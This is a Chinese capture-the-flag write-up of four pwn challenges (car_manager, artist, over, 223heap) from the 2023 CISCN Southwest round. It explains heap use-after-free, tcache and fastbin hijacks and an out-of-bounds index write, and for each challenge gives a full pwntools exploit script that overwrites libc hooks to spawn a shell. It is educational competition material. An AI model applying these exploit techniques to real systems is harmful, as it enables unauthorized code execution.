2023 ciscn 西南赛区 pwn 题解

admin 2023年7月12日03:02:14评论17 views字数 13212阅读44分2秒阅读模式

fix的话,over和artist都是加上沙箱即可。car_manager和223heap把free或者delete函数全部nop掉即可,下面是break部分。


car_manager


C++的堆菜单题,抹了函数名,逆向起来有难度的话可以动调来推测功能。


申请了4个0x8的堆块作为轮子放置了tire_size和tire_pressure,0x68作为车子本体,包含了make、model、year等信息,在最后放置了四个轮子的堆块指针。


for ( i = 0; i <= 3; ++i )
{
*(&v10 + i) = operator new(8uLL);
if ( tire_size )
**(&v10 + i) = tire_size;
if ( tire_pressure )
*(*(&v10 + i) + 4) = tire_pressure;
}
if ( year )
{
std::string::basic_string(v14, make);
std::string::basic_string(v15, model);
v1 = operator new(0x68uLL);
sub_3644(v1, v14, v15, year, v10, v11, v12, v13);
v7 = v1;
std::string::~string(v15);
std::string::~string(v14);
sub_3C48(a1, &v7);
std::operator<<<std::char_traits<char>>(&std::cout, "Car added successfully!n");
}


copy函数中在复制轮子时,也直接复制4个轮子的堆块指针,这导致free原本的车子堆块后新车辆轮子堆块内容不再是tire_size和tire_pressure,而变为tcache上的堆地址。


__int64 __fastcall sub_3B46(_QWORD *a1, _QWORD *a2)
{
__int64 v2; // rdx
__int64 result; // rax
__int64 v4; // rdx

std::string::basic_string(a1, a2);
std::string::basic_string(a1 + 4, a2 + 4);
a1[8] = a2[8];
v2 = a2[10];
a1[9] = a2[9];
a1[10] = v2;
result = a2[11];
v4 = a2[12];
a1[11] = result;
a1[12] = v4;
return result;
}


实际上实现了一个UAF漏洞,free函数的机制则是当我们free一个堆块时,会将下一个车子堆块依次回退一格,但高位仍保留。


触发漏洞即可完成堆地址的泄露,利用UAF劫持tcache堆块的fd,申请到unsortbin堆块泄露libc,再次劫持fd申请到free_hook完成利用。


(值得注意的是,在申请unsortbin位置堆块后导致双向链表被破坏,无法再从unsortbin里申请堆块,要控制劫持的tcache位置,满足申请一次需要的4个0x20堆块)


# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

p = process("./car_manager")
elf = ELF("./car_manager")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk x27{{print x241}}x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()

#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------


def add(make,model,year,size,pressure):
sla("Please enter your choice:",1)
sla("Enter the make of the car: ",make)
sla("Enter the model of the car: ",model)
sla("Enter the year of the car: ",year)
sla("Enter the size of tire : ",size)
sla("Enter the pressure of tire : ",pressure)

def dele(idx):
sla("Please enter your choice:",2)
sla("Enter the index of the car to delete: ",idx)

def find(make,model,year):
sla("Please enter your choice:",3)
sla("Enter the make of the car to find: ",make)
sla("Enter the model of the car to find: ",model)
sla("Enter the year of the car to find: ",year)

def edit(idx, make, model, year, choice, tire_size, tire_pressure, tire_idx=None):
sla("Please enter your choice:",4)
sla("Enter the index of the car to modify: ",idx)
sla("Enter the new make of the car: ",make)
sla("Enter the new model of the car: ",model)
sla("Enter the new year of the car: ",year)
sla("Do you want to change all tires?(1/0)",choice)
if choice==1:
sla("Enter the new size of tire : ",tire_size)
sla("Enter the new pressure of tire : ",tire_pressure)
else:
sla("Enter the idx of tire : ",tire_idx)
sla("Enter the new size of tire : ",tire_size)
sla("Enter the new pressure of tire : ",tire_pressure)

def copy(idx):
sla("Please enter your choice:",5)
sla("Enter the index of the car to copy: ",idx)


def show():
sla("Please enter your choice:",6)

for i in range(0x101):
add('e4l4',i,1999,0x10,0x10)


copy(0)
copy(255)
dele(0)
show()
ru("Tire Sizes: 0, ")
heap_base_2 = int((ru(",")[:-1]),10)
lg('heap_base_2')

ru("Tire Pressures: 0, ")
heap_base_1 = int((ru(",")[:-1]),10)
lg('heap_base_1')

heap_base = (heap_base_1 << 32)+heap_base_2-0x011eb0
lg('heap_base')

unsort_heap_2 = (heap_base+0x01a0b0)&0xffffffff
unsort_heap_1 = (heap_base+0x01a0b0)>>32
edit(256,'e4l4',1,1999,1,unsort_heap_2+0x10,unsort_heap_1)
add('e4l4',259,1999,0,0)

show()
ru("Car 258:")
ru(", ")
libc_base_2 = int((ru(",")[:-1]),10)
ru("Tire Pressures: ")
ru(", ")
libc_base_1 = int((ru(",")[:-1]),10)
libc_base = (libc_base_1 << 32)+libc_base_2-0x1ecbe0
lg("libc_base")

free_hook = libc_base + 0x1eee48
system = libc_base + 0x52290
sh = 0x68732f6e69622f

dele(257)
show()

edit(254,'e4l4',1,1999,0,free_hook&0xffffffff,free_hook>>32,1)
edit(254,'e4l4',1,1999,0,sh&0xffffffff,sh>>32,0)
add('e4l4','e4l4',1999,system&0xffffffff,system>>32)
dele(254)

ia()


artist


这道题漏洞挺多,关键漏洞点在于3号功能在第一次使用时,可以将一个ptr堆块地址放进buf,然后可以进入一个执行分支,输入yes可以在buf附近的位置写入0,这里可以实现任意libc地址写0,但似乎用不上。最后会执行一个对buf的0x10的写入,由于第二次开始不用再输入idx就能直接对buf进行修改,如果buf的堆块被free,就达到了一个UAF的效果。


__int64 sub_1411()
{
unsigned int v1; // [rsp+8h] [rbp-38h] BYREF
int v2; // [rsp+Ch] [rbp-34h]
char s1[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = 0;
if ( isFirst )
{
write_s("What? Great artists need scrap paper for art?n");
write_s("idx: n");
__isoc99_scanf("%u", &v1);
buf = *(&ptr + v1 + 4);
isFirst = 0;
}
write_s("do you want crazyn");
__isoc99_scanf("%3s", s1);
if ( !strncmp(s1, "yes", 3uLL) )
v2 = 1;
if ( v2 )
set_0();
return read_buf();
}


idx不会减少,最大为19(需要注意的是,而执行功能2当idx大于>15时程序会exit)。


放置idx过大,所以利用UAF劫持申请到tcache_struct,修改tcache堆块个数,从而将堆块放入unsortbin泄露libc地址,同样的办法再劫持tcache的fd申请free_hook。


# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

# p = remote("","")
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk x27{{print x241}}x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()

#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------

def add(con):
sla(">",1)
p.sendafter("input some",con)

def edit(idx,con):
sla(">",2)
sla("idx:",idx)
sla("Would you like to make final edits?",1)
p.sendafter("input your content",con)

def show(idx):
sla(">",2)
sla("idx:",idx)
sla("Would you like to make final edits?",2)

# x/32gx $rebase(0x4088)

buf = 0x4060
ptr = 0x4088

sla("Let us get to know each other.",'e4l4')

add('a')# 0
add('a')# 1
add('a')# 2
show(2)
show(0)
show(1)
add('a')# 3
add('a')# 4


sla(">",3)
sla("idx:",3)
sa("do you want crazy",'fn')
sa("Go ahead and doodle for your artistic inspiration.",'a')


show(3)
ru("Please enjoy your masterpiece.n")
heap_base = uu64()
lg("heap_base")

sla(">",3)
sa("do you want crazy",'fn')
sa("Go ahead and doodle for your artistic inspiration.",p64(heap_base-0x261+0x10))

add('a')# 5
add('x00'*0xe+'x07x00')# 6

show(5)
show(4)

edit(6,'x00'*0x10)

add('a')# 7
show(7)
libc_base = l64()-0x1ecc61
lg('libc_base')
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base +libc.sym["system"]

add('a')# 8
add('a')# 9

show(8)
show(9)
sla(">",3)
sa("do you want crazy",'fn')
sa("Go ahead and doodle for your artistic inspiration.",p64(free_hook))

add('/bin/shx00')# 10
add(p64(system))
# dbg()
show(10)

ia()


over


题目看上去存在一个很复杂的算法,观察发现其3个功能都是对*(&ptr + num + 12)这个位置的值进行加减异或,而num却为int类型。


__int64 *sub_156C()
{
int v0; // ecx
__int64 *result; // rax
int i; // [rsp+4h] [rbp-4Ch]
int v3; // [rsp+8h] [rbp-48h]
int v4; // [rsp+1Ch] [rbp-34h]
int v5[10]; // [rsp+20h] [rbp-30h]
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v6 = __readfsqword(0x28u);
show("what do you want to choosen");
v3 = read_num();
if ( v3 > 4 )
exit(0);
v4 = (0x35DA * v3 - 0x4B2D) ^ 0xC925;
for ( i = 0; i <= 9; ++i )
{
v5[i] = (0x35DA * v3) ^ v3 ^ (0x35DA * v3) ^ 42641;
v5[i] += v4;
}
ptr += v4;
show("some addn");
v0 = *(&ptr + v3 + 12) + read_num();
result = &ptr;
*(&ptr + v3 + 12) = v0;
return result;
}


题目开始将puts的真实地址放在了puts_addr 变量上。由于有效的输出函数无法泄露libc,这里可以控制num来修改puts_addr为system函数的真实地址,也就是puts函数的真实地址+相对偏移=system函数的真实地址,再调用4功能即可实现getshell。


num的计算可以参考汇编,0x28/4-0xc=-2。


//*(&ptr + v3 + 12) = v0;
.text:0000000000001688 48 83 C0 0C add rax, 0Ch
.text:000000000000168C 48 8D 14 85 00 00 00 00 lea rdx, ds:0[rax*4]
.text:0000000000001694 48 8D 05 C5 29 00 00 lea rax, ptr
.text:000000000000169B 89 0C 02 mov [rdx+rax], ecx
.text:000000000000169E 90 nop

# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

p = remote("172.16.9.41","8888")
# p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk x27{{print x241}}x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()

#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------

sla("what is your name",'/bin/sh')

def add(idx,con):
sla("what do you want to do",1)
sla("what do you want to choose",idx)
sla("some addn",con)

def clean(idx,con):
sla("what do you want to do",2)
sla("what do you want to choose",idx)
sla("some addn",con)

def xor(idx,con):
sla("what do you want to do",3)
sla("what do you want to choose",idx)
sla("some addn",con)

# dbg(0x153F)
clean(-2,0x032190)
sla("what do you want to do",4)
ia()


223heap


题目一共能申请三种大小的堆块,分别存放在free/ptr/buf中(这里的free覆盖并不能达到执行函数的目的,因为free_got已经存在真实函数地址),通过切割unsortbin堆块可以获得libc地址。


dele功能0/1/2分别指代buf ptr free,难点在于free(1)即free ptr时,会导致ptr_size被置为0,没有办法使用show功能,所以要注意泄露地址之前不能free(1)。


由于在进行free时并不会对指针置0,可以操作指针让它们指向同一堆块,实现堆叠,利用edit功能实现UAF的利用。


00000000006020c0 00000000009b6010 00000000009b6010
00000000006020d0 00000000009b6010 0000000000000000


由于2.23只能申请fastbin,所以申请0x68的堆块,劫持到malloc_hook-0x23,覆盖为one_gadget。


# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

# p = remote("","")
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk x27{{print x241}}x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()

#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------

def add(size,con):
sla("input:",1)
sla("please enter size of malloc :",size)
p.sendafter("please enter contents of your heap:",con)

def edit(con):
sla("input:",4)
sla("please enter what you want to edit:",con)

def show():
sla("input:",2)

def dele(idx):
sla("input:",3)
sla("please enter which heap you want to delete:",idx)

def malloc_s():
sla("input:",5)


buf = 0x6020C0
puts = elf.plt['puts']

add(0x300,p64(puts))
add(0x38,'a')
dele(2)

add(0x100,'a')
show()
libc_base = l64()-0x3c4e61
lg('libc_base')
free_hook = libc_base+0x3c67a8
malloc_hook = libc_base+libc.sym["__malloc_hook"]
lg('free_hook')
one = libc_base + 0x4527a

dele(1)
add(0x68,'a')
dele(2)
edit(p64(malloc_hook-0x23))
add(0x60,'a')
add(0x60,'a'*0x13+p64(one))

malloc_s()
ia()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''




2023 ciscn 西南赛区 pwn 题解


看雪ID:ef4tless

https://bbs.kanxue.com/user-home-923544.htm

*本文为看雪论坛优秀文章,由 ef4tless 原创,转载请注明来自看雪社区

2023 ciscn 西南赛区 pwn 题解

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复


2023 ciscn 西南赛区 pwn 题解


2023 ciscn 西南赛区 pwn 题解

球分享

2023 ciscn 西南赛区 pwn 题解

球点赞

2023 ciscn 西南赛区 pwn 题解

球在看

原文始发于微信公众号(看雪学苑):2023 ciscn 西南赛区 pwn 题解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月12日03:02:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023 ciscn 西南赛区 pwn 题解https://cn-sec.com/archives/1866732.html

发表评论

匿名网友 填写信息